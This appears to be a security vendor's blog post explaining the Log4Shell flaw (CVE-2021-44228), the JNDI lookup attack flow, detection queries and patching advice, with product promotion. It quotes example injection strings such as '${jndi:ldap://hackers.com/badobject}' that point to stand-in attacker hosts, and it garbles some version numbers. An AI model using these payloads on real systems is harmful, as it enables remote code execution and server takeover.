Protect your network against the CVE-2021-44228 Log4j

The vulnerability is also called Log4Shell and Affects Java 

The popular Apache Log4j 2 which is an open source Java package used for logging in many widely used applications is subject to a critical RCE vulnerability.

It can be exploited by remote attackers for code execution and full server takeover. 

LunaSec has Dubbed it Log4Shell read more on their site.

Log4j Vulnerability

CVE-2021-44228 Remote Code Execution 

Large amount of Servers on the Internet are vulnerable to the Apache Log4j Zero-Day Vulnerability Exploit.

With this vulnerability it can allow an attacker for a remote code execution(RCE) condition on a server.

This includes servers operated by large vendors like Tencent, Apple, Twitter, Valve and many other major service providers.

The official CVE Number is CVE-2021-44228 and you can read more about it at Mitre. 

How is the vulnerability exploited?

1: The vulnerable data is sent from the user to the server no matter which protocol

2: The server will store and log the request with the payload: ${jndi:ldap://site.com/a} (meaning site.com is an attacker controlled host),

3: The Log4j vulnerability is executed from the payload the attacker issued and forces the vulnerable Log4j server to send a request to the attacker via the Java Naming and Directory Interface (JNDI)

4: This will have a path to a remote Java class file example http://attackersite/Exploit.class) which will be sent into the server processing.

5: Because of the infection of the Exploit.class it allows for the attacker to execute arbitrary code on the target system.

6: Attackers can produce botnets which can infect large amount of systems with crypto miners, ransomware or worse steal sensitive data.

SecPoint RBL List blocking 400 IP address mass scanners of CVE-2021-44228 Vulnerability

The SecPoint RBL List in both SecPoint Penetrator & SecPoint Protector is already blocking more than 200 active IP addresses mass scanning the Internet for vulnerable hosts.

Scan your Sites for the Apache Log4j CVE-2021-44228 Vulnerability

Get a Free Vulnerability Scan with the Penetrator and scan for the Log4j CVE-2021-4428 Vulnerability easily.

To learn more about the Penetrator Appliance or Software please click.

Or with the Cloud Penetrator Web Vulnerability Scanner you can scan your public IP addresses without installing software.

Block CVE-2021-44228 with SecPoint Protector

The SecPoint Protector UTM Firewall can already with the IPS Exploit module block attacks coming.

SecPoint Protector CVE-2021-44228 2

SecPoint Protector CVE-2021-44228

 


 

 The recent Log4J2 exploit has rocked the world. Though there are always many active CVEs, they seldom get as much attention as this one did. 

So, why all the fuss? Surely this is just another exploit like any other? Well, not quite. 

This was a particularly nasty bug. It allowed remote code execution (RCE) through a vulnerability in the way log4j handled logging messages. It could allow attackers to execute arbitrary code remotely if they were able to trick users into visiting a malicious website.

It's estimated that more than 35,000 Java packages, which means around 8% of all Java Packages are impacted by this exploit. That accounts for a vast swathe of the software currently in use.

So, keep reading to see how the Log4j2 impacts you and how to mitigate it.

What is Apache Log4J 2?

Apache Log4j is a logging framework for Java. It provides an API that can be used to configure and control the output of log messages from your application. The library also includes a set of configuration files, which are used by default when you run applications with it.  

Log4j is open-source and very popular. It's used by hundreds of thousands of applications around the world. The National Cyber Security Centre maintains a list of vulnerable/exploitable systems and applications.

Because log4j is so widespread, it was a prime target for hackers looking to exploit RCE vulnerabilities

What Are Zero Day Vulnerability Exploits?

Zero-day vulnerability exploits are vulnerabilities that have been discovered and exploited before the developer of the software became aware of them. 

These types of exploit are considered particularly dangerous due to how quickly they can spread. There is no warning that they exist until it's too late, making them especially devastating when combined with ransomware or other malware.

Generally, commercial vulnerability scanners pick up on zero-day exploits quite quickly. It can take some time for other systems to play catch up.

The CVE-2021-44228 Log4j2 Exploit Basics

This is a vulnerability in Log4j that allows attackers to execute arbitrary code on vulnerable systems.

To log a message without any additional information, you would simply type log.info("Message log"), which would log the message log to wherever it is set as the log file (using log4j.configuration.fileLocation="log/path" ).

The vulnerability occurs when we pass a string that contains arbitrary code, such as:

${jndi: ldap://THEATTACKERSHOST:PORT}

When this message is passed, the code inside is evaluated without any validation. This ultimately allows attackers to run arbitrary code on the system.

Who is impacted?

At this point, it's simpler to list the services that are not vulnerable rather than enumerating vulnerable software. Large cloud services, including Steam, Apple iCloud, and others, have shown up in PoC attacks and other research.

Cloudflare, one of the world's largest CDN providers, hastened to assure customers that they were safe. They reported that all services had been patched soon after the exploit came to light.

It's very likely that if you are using anything based on Apache (such as Apache Struts), you are vulnerable to the Log4j exploit. If you're uncertain whether the software you are using is vulnerable or if you do not have access to the source code, we recommend that you reach out to your provider as a matter of urgency.

It should be noted that certain versions of the JDK are not vulnerable to the LDAP exploit. This includes versions 6u211, 7u201, 8u191, and 11.0.1. However, there are other attack vectors that could result in RCE.

Simplified Attack Workflow

As always, an attack that results in RCE is likely to be accompanied by malware. As with previous exploits, this attack consists of multiple stages. It's possible to overlook the earlier stages as innocuous traffic and only notice a problem much later on.

If we examine the workflow for the attack, we see the following steps:

  1. A user sends data to the server
  2. The server logs the request, including any relevant information
  3. The server interprets the log message and makes a request to the compromised URL
  4. A second stage is executed by this compromised URL
  5. This second stage result is injected into the server process
  6. The new payload allows an attacker to execute arbitrary code

As you can see, steps 1 through 3 would appear innocent enough if you took a cursory look at your log files. The requests might seem strange but not anything to worry about.

By the time the payload from step 4 has been injected, it's already too late. Your systems are compromised.

The Exploit in Detail

At the centre of the exploit is the JNDILookup plugin. It was added to Log4j back in 2013 and seemed fairly innocuous. To understand why it's a problem, let's take a look at what JNDI actually is and does.

What is JNDI?

JNDI, or the Java Naming and Directory Interface, has been in Java since the 90s. At its core, it's a directory service that simply lets Java programs find data through a directory. Sounds innocent enough.

There are many different directory services, so, of course, JNDI has SPIs (service provider interfaces) that let it use all the different directory services. The SPI that we're interested in right now is LDAP.

LDAP is incredibly popular. Conservative estimates show that around 20000 people download the LDAP project each week. It's important to understand how popular LDAP and Log4j are to fully understand the scale of the problem.

We now have a situation where a java program can use both JNDI and LDAP to find objects it might need when running. The standard example uses the query: ldap://localhost:389/o=SName

This is essentially looking at an LDAP server on the local machine for an object named 'sname'. Once the object has been retrieved, other attributes are queried.

All this sounds great in theory and is usually not cause for concern. In the case of the Log4j exploit, a potential attacker can control the URL being queried by getting Log4J. This means that the server you're now querying could be anywhere in the world and carry any payload.

Hackers using this new URL can now load an object from a server that they control on your infrastructure. So, using the query:

${jndi:ldap://hackers.com/badobject}

would cause log4j to retrieve the object "badobject" from the URL "hackers.com".

Why does this happen?

This happens because Log4j uses special syntax operations that look like ${prefix:name}

which, in itself, is not a problem. For example, you could query ${Java:version} to get the current running version of Java.

LOG4J2-313 added a jndi Lookup that allowed variables to be fetched via the JNDI plugin. Usually, these requests would be prefixed with "java:comp/env/" to ensure that they were safe to run. Unfortunately, adding a colon to the key (":") meant that no prefix would be added to the string.

When the : is present, a query is sent directly to whichever URL the hacker has specified. This happens in code when logging happens as well as when log4j2 configuration files are parsed.

This means that all an attacker has to do to compromise your systems is to find somewhere that is commonly logged. Usually, this includes form fields or agent headers. The attacker just needs to force the log to include their malicious URL.

Why is this so widespread?

The ubiquitous nature of Java means that there are literally millions of exposed systems. Even if you're not directly using Log4j, the chances are good that one of your systems or subsystems is.

Detection Techniques

Soon after the exploit went public, tools and scripts began appearing to detect the vulnerability. Detection has been divided neatly into two workstreams.

Attacker Detection

Attacker detection focuses on the attacker side of the equation and deals with rules and recommendations for preventing the exploit before it happens. This has centered around known patterns and Proof of Concept attacks. For example, Microsoft recommends the following query:

DeviceProcessEvents | where ProcessCommandLine has_all('${​​jndi') and ProcessCommandLine has_any('ldap', 'ldaps', 'http', 'rmi', 'dns', 'iiop') //Removing FPs | where not(ProcessCommandLine has_any('stackstorm', 'homebrew'))

As you can see, this looks for patterns we have seen associated with this vulnerability. It's possible that traffic with this signature is legitimate, but given the volume of attacks currently being launched, this is unlikely. The list of protocols (LDAP, HTTP, RMI etc.) are not common log4j2 properties.

Microsoft has also released the following query to detect applications that may be vulnerable. Note that this makes use of Microsoft Defender for Endpoint:

//Vulnerable software on endpoints DeviceTvmSoftwareInventory | where SoftwareName contains "Log4j" | project DeviceName, SoftwareName, SoftwareVersion

Victim Detection

Victim detection focuses on threat hunting within your network. In some ways, this approach assumes that your systems have already been compromised. The methods assume that you are able to distinguish between good and bad traffic on your network.

Essentially, you would monitor any outbound connections from Java processes as well as investigate suspicious child processes. However, it should be noted that this particular exploit does not necessarily result in spawning a child process, so either step by itself is not a guarantee of detection.

How to Mitigate The Problem

Fortunately for everyone involved, the mitigation steps are quite simple. Update Log4j libraries.

Within a few hours of the exploit being announced, a patch had been released, and the world started pushing to get updated. Of course, patching vulnerabilities is seldom as easy as it appears.

The waters were muddied by the fact that soon after being released, there was an announced CVE for the new version, 2.1.15. This meant that anyone who had patched to 2.1.15 immediately had to bring their version up to 2.1.16.

Again though, a vulnerability was announced shortly after in 2.1.16. Apache quickly released a patch, and the final version, 2.1.17, was announced to be free from any current vulnerabilities.

Patching Subsystems

An extra complication quickly became apparent. While those using Log4J libraries directly could quickly and easily patch the vulnerability, what about 3rd party software?

Many companies found that vendors and designers who originally shipped software were either unresponsive or didn't exist anymore. This complicated the landscape considerably as it meant that there were will millions of unpatched systems out in the wild.

In some cases, this is not a problem as systems are isolated from the internet. However, it's expected that we'll be seeing reports of vulnerable systems for at least a few more months.

What do you need to do in order to remain protected?

Again, the best way to stay protected is to stay up to date. There are a few steps you can take to make sure you are as protected as you possibly can be:

Run the Latest Version

Ensure you are on Log4j 2.17.0 (Java 8), 2.12.3 (Java 7) and 2.3.1 (Java 6) or later.

It is expected that this version will remain the most stable for the next few months at least. You can obtain log4j here: https://logging.apache.org/log4j/2.x/download.html

Check Dependencies

If you have any Java applications using log4j, go and check their dependency on log4j2. If they are below version 2.17, then you should immediately upgrade them. Even if you're fairly certain, none of your applications use log4j, check. It's possible that a developer has included log4j without you knowing about it, either through an old dependency or code you didn't write yourself.

Run Process Checks

If your network is vulnerable to this exploit, there is a high chance of child processes being created by log4j2. As such, we recommend running process checks so that you may log any child processes you find.

Try Alternatives to Log4J2

Log4j has been around since 1997. That's a long time in the Java world. There are numerous alternatives to log4j, including logback, log4net etc. If this vulnerability and the scramble to update has given you cause to worry, try using an alternative.

As always, make sure that whatever you use is well-reviewed and preferably open-sourced so that you can see what you're running.

Get Expert Help

Finally, if you're concerned that you've missed something or simply don't want to try and figure it all out for yourself, get in touch with security specialists.

The Log4j vulnerability is a major issue and will continue to affect people in the future. Unfortunately, it's not the first exploit of its kind, and it certainly won't be the last.

Contact Secpoint today for professional help with everything from UTM Firewall Appliances to Vulnerability Scanning.